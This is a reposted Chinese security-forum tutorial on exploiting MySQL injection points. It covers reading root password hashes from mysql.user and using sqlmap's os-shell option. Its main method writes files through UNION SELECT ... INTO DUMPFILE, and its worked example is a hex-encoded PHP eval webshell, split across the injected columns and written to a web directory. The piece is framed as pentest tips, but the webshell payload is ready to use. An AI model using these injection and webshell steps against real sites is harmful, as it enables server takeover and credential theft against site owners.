【mysql注入】mysql注入點的技巧整合利用
本文轉自:i春秋社區
前言:
滲透測試所遇的情況瞬息萬變,以不變應萬變無謂是經驗與技巧的整合
簡介:
如下
mysql注入點如果權限較高的話,再知道web物理目錄說明這個站勝券在握。
可以直接 – – os-shell拿到交互的cmd和一個小馬
然而上述對應下圖的例子屬於萬分僥幸。

如果不知道物理路徑,我們還可以
[AppleScript] 純文本查看 復制代碼
select host , user , password from mysql.user;
|
讀取root密碼用navicat連上去提權,不要問我為什么不直接用–sql-shell,你自己試試便知道。

然而讀出來的是mysql的hash ,破解不出來,便只能讀網站admin數據進后台,就像:

讀出來admin數據還不一定能解出來密碼
后台還不一定找得到
找到后台還不一定能傳馬
傳了馬還不一定能提權。。。
那么,問題來了,這個注入點還有價值么???這便是本文討論的要點。
答案當然是有的。方法大家也許都用過只是沒有綜合使用:
Mysql導出文件條件1 Root權限(其實並非root不可 ,具備insert權限即可)2 可寫目錄(即使是system權限,用驅動限制也沒法寫)
我們不希望導出的數據因存在轉義字符等問題而不完整,一般采用hex和unhex編碼之后再導出。
1 SELECT HEX(‘binghesec,test!’),查詢的結果為:62696e6768657365632c74657374212 SELECTUNHEX(‘62696e6768657365632c7465737421’),查詢的結果為:binghesec,test!3 還可以直接讀取16進制的字符,在字符串前加0x前導: SELECT 0x62696e6768657365632c7465737421,查詢結果為:binghesec,test!
.
眾所周知在mysql注入點執行union聯合查詢需要和它本身的查詢匹配字段數(一致),如某個數字型注入點有5個字段,一般是select 1,2,3,4,0x(文件hex)導出,文件頭多個1234,如果導出的是php,文件可以正常使用,mof和exe等就不行。若注入類型為字符等,可用萬能的null來匹配,select null,null,null,null,0x(文件hex),文件頭又多了4個null,如何解決?
科普可知如果想導出完整原樣的文件需要分段合成,例:
[AppleScript] 純文本查看 復制代碼
php? id = 1 and 1 = 2 union select 0 x 3 c 3 f 70687020 , 0 x 40 , 0 x 6576616 c , 0 x 28245 f 504 f 5354 , unhex ( ‘ 5 b 2762696 e 676865736563275 d 293 b 3 f 3 e’ ) into dumpfile ‘C : / www / binghesec.php’;
|
如何拆分呢,且看:
如果通過order判斷得知存在5個字段,那么便將一句話木馬分成5份,那么如果是50個字段你可以把一句話分成50份,什么?一句話不到50位?你就不能動動腦子么?
這樣不是一句話么?
更多文章信息請查看全文:http://bbs.ichunqiu.com/thread-9903-1-1.html